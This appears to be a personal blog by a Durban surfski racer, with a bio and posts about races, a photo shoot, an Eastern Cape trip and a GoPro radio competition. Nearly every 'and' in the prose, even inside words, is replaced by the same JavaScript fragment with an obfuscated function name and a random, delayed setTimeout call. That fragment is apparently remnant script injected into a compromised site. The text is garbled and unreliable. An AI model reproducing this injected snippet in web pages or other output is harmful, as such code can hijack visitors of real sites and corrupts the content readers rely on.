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    I was born on 19/04/83 in Empangeni on the KwaZulu Natal North coast to Mother Bambi Edwina May Barber and Father Mark Alexander Lewin. I was brought up in Durban and haven’t left, I love it here. I played almost all sports through school but only started paddling a K1 at 15 years and then progressed to Surfski racing at 18 when I left school. I currently race as a semi pro athlete and compete in events all over the world. I try get to as many international surfski races I can afford.

    I mostly live a life of passion for paddling and the sea. This blog aims to share my story through words, pictures and video that take you the viewer into my life as a paddler. Join me on an adventure. Hope you enjoy!

    Airborne – Photos By Anthony Grote

    Written by Barry Lewin on . Posted in Racing

    I got the opportunity to shoot with Anthony Grote, the man is just a legend at getting amazing water shots. Risking my life we took on a little 4 foot dumper, Anthony armed to capture my demise andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and myself with my trust Fenn to master not getting killed. Check out some of the shots below andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Anthony website at www.anthonygrote.com

    #ooskaaptour2014

    Written by Barry Lewin on . Posted in Racing

    A very good friend of mine was getting married in the oos kaap (the province of the Easter Cape in South Africa) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the timing was just perfect between 2 sets of events to talk a little holiday so stuck around for a while.

    The focus of the trip was to just get away andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not on training, I did do some races for fun but in stead of race reports here is the whole trip on my youtube channel.

    Columbia Triple Challenge 2014 – 1st 3 Man Team

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    For as long as I can remember the Triple Challenge has been one of my favourite events of the year, it’s a little scary hard but so much fun. This year under new sponsor Columbia some new life was driven into the event on a new date, much needed for a classic race.

    I teamed up this year with a friend from Marine Surf Lifesaving Club, Mhle Gwala to do the run leg andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Varsity College team mate Darryn Purtell to do the MTB leg andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and myself on the paddle. My team had a great day out andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gave me a nice lead onto the paddle leg making my life less stressful.

    I had really fun tap around the dam but really battled on the long portage, not my strong point. Big thanks to Max Cluer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and his team for putting it on andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and look forward to it being even bigger in 2014.

    Check out some photos from the event along with some video (official andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my own).

    Find the GoPro – Win the GoPro Competition with 5FM

    Written by Barry Lewin on . Posted in Racing

    I had the huge privilege to be involved in an innovative competition GoPro were running in South Africa with national radio station 5FM.

    5FM put out clues during the day via the GoPro “World of Heroes” Facebook page HERE andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Twitter HERE on where a member of the public could find me andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and intern win a GoPro.

    Here are some of the clues that went out:

    Well I was found by Dustin Webber:

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    Kzn Lifesaving Champs 2014 – 1st Single Ski andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Ski Relay

    Written by Barry Lewin on . Posted in Racing

    I dont take lifesaving very seriously but still love the thrill of the short surf style racing. Last min I picked up a very cool Fenn LS sent from East London for me to use on the weekend. With the new ship in handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we were of down the south coast to Winkle andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and were met with some solid well.

    The organisers did really well to get some cans in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and get the racing off. It wasn’t small andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I certainly had a lot of fun in the big surf. I got my ass handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anded to me twice over the weekend in the board andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mixed doubles races but got it right in the single ski andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ski relay for to KZN titles.

    Check out some awesome shots from Graham Topfoto. www.topphoto.net

    My club at Marine did a great job through the champs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and came away with the event win. I was lucky enough to go up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and get the trophy. Just a couple weeks to SA Champs now!

    CMH Inandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anda Dam to Durban

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